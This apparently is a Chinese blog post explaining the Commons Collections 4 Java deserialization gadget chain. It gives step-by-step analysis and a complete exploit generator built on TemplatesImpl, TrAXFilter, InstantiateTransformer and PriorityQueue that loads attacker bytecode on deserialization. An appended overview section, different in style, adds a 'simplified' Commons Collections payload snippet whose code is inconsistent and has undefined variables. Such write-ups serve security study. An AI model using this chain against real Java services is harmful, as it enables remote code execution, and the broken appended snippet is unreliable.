java cc链4

java cc链4
在cc4上,需要在pom.xml中加入

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

这个其实还是围绕在 ChainedTransformer.transform方法的执行,至于是使用字节码加载或者使用InvokerTransformer.transform都是可以的,
这里使用TransformingComparator.compare方法

public TransformingComparator(Transformer transformer, Comparator decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(Object obj1, Object obj2) {
        Object value1 = this.transformer.transform(obj1);
        Object value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

当传入的transformerChainedTransformer时候,就会调用ChainedTransformer.transform
所以

 transformerChain.transform(1);
 //可以替换为下面的内容
TransformingComparator transformingComparator = new TransformingComparator(transformerChain,null);
transformingComparator.compare("1",null);//或者 transformingComparator.compare(null,"1");

PriorityQueue.siftDownUsingComparator方法中调用了
heapify(); heapify() siftDown()

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

siftDownUsingComparator–>siftDown()–>heapify() ,而heapify() 位于readObject方法中,只需要满足链路过程中的if判断即可
首先在

private int size = 0;
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

这里解释一下size >>> 1,将size的二进制表示向右移动指定的位数,这里是1,如果size是1 二进制是0001,1>>>1输出的是0,2 0010 2>>>1 1,这里面要进入for循环中,就需要size的值最少为2,需要找到一个方法修改默认的size属性值,这里找到了offer方法,

private int size = 0;
transient Object[] queue; 
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

然后发现在add方法中调用了该方法,

public boolean add(E e) {
    return offer(e);
}

随意传入一个值,使得e == null,由于queue默认为空,所以queue.length为null,if判断不成立,size = i + 1;,由于进入heapify()的for循环需要size>=2,所以需要添加两个数值,

TransformingComparator transformingComparator = new TransformingComparator(transformerChain,null);
PriorityQueue<Object> objects = new PriorityQueue<>(transformingComparator);
objects.add("1");
objects.add("2");

但是在offer方法中,i>=1,导致下一个if不成立,进入siftUp方法,然后有调用siftUpUsingComparator,导致在序列化的过程中就会执行系统命令,我们使用cc6的断链,再反射修复链路即可,这里在
TransformingComparator处进行修改,

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue test = new PriorityQueue<>(transformingComparator);
test.add(1);
test.add(2);
Class chainedTransformerClass =transformingComparator.getClass();
Field transformer = chainedTransformerClass.getDeclaredField("transformer");
transformer.setAccessible(true);        transformer.set(transformingComparator,transformerChain);

或者 使用反射的方式修改size的属性值

TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
PriorityQueue test = new PriorityQueue<>(transformingComparator);
Class aClass = test.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(test,2);

最后的代码为

    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
        oos.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();

    }
    public static void main(String[] args) throws  Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
        byte[][] codes= {code};
        bytecodes.set(templates,codes);
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(TrAXFilter.class),
                input
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform(1);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
//        transformingComparator.compare("1",null);
//        transformingComparator.compare(null,"1");
        PriorityQueue test = new PriorityQueue<>(transformingComparator);
//        test.add(1);
//        test.add(2);
        Class aClass = test.getClass();
        Field size = aClass.getDeclaredField("size");
        size.setAccessible(true);
        size.set(test,2);

//        Class chainedTransformerClass =transformingComparator.getClass();
//        Field transformer = chainedTransformerClass.getDeclaredField("transformer");
//        transformer.setAccessible(true);
//        transformer.set(transformingComparator,transformerChain);

//        serialize(test);
        unserialize("person.bin");

    }

注意事项:导入的库需要在org.apache.commons.collections4下面

### Java Commons Collections 反序列化利用 CVE 漏洞分析 #### 背景介绍 Java中的反序列化功能允许对象在网络传输或者存储介质之间转换成字节流并恢复回原状。然而,如果应用程序在不受信任的数据源上执行反序列化操作,则可能被恶意构造的对象所利用,进而触发任意代码执行等问题。 #### Apache Commons Collections 漏洞概述 Apache Commons Collections 是一个广泛使用的第三方库,在版本小于等于3.2.1时存在严重的反序列化漏洞[^2]。该漏洞使得攻击者能够创建特制的输入数据来操纵程序逻辑,最终实现远程代码执行的目的。 #### 关键类与调用条解析 针对`CommonsCollections`组件内的多个类可以构建出不同的gadget chain(工具),这些条通常涉及以下几种类: - **Transformers系列**:如 `ConstantTransformer`, `InvokerTransformer` 等用于定义特定行为变换器; - **TiedMapEntry**: 实现了 Map.Entry 接口,并且其getValue方法会触发之前设置好的transformer; - **LazyMap**: 当尝试获取不存在key对应的value时,它会自动计算这个值; 当上述组件按照一定顺序组合起来形成完整的调用路径之后就构成了所谓的“利用”。例如,在某些情况下可以通过精心设计的输入让 LazyMap 的 getValue 方法间接调用了 InvokerTransformer 中预设的方法名参数,从而达到控制目标进程的效果[^1]。 #### POC 构造思路 对于具体的 Proof Of Concept (POC),一般遵循如下模式: 1. 创建一系列必要的 Transformer 对象实例。 2. 使用 TiedMapEntry 将最后一个 transformer 和其他部分连接在一起。 3. 利用 HashMap 或 ArrayList 来承载整个结构体作为外部可见载体。 4. 最终将此复合型实体传递给待测系统的某个入口点完成实际攻击过程[^3]。 以下是基于以上描述的一个简单示例代码片段展示如何组装这样的payload: ```java // 定义所需的各种transfomer... Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), ... }; // 构建tied entry关联到invoker transformer的结果 Map innerMap = new HashMap(); innerMap.put(key,value); Map outerMap = LazyMap.decorate(innerMap,new ChainedTransformer(transformers)); Map.Entry tiedEntry = Maps.immutableEntry(key,tiedValue); // 准备好用来发送出去的实际负载形式 Object payload = new HashMap(); ((Map)payload).put(tiedEntry,"whatever"); ``` 请注意这只是一个简化版的概念证明演示,真实环境中还需要考虑更多细节因素才能成功实施此类攻击。 #### 影响范围及修复建议 受影响的产品和服务非常广泛,特别是那些依赖于旧版本 commons-collections 库的应用程序都可能存在风险。官方已经发布新版本解决了这个问题,因此强烈建议开发者尽快升级至最新稳定发行版以消除安全隐患[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值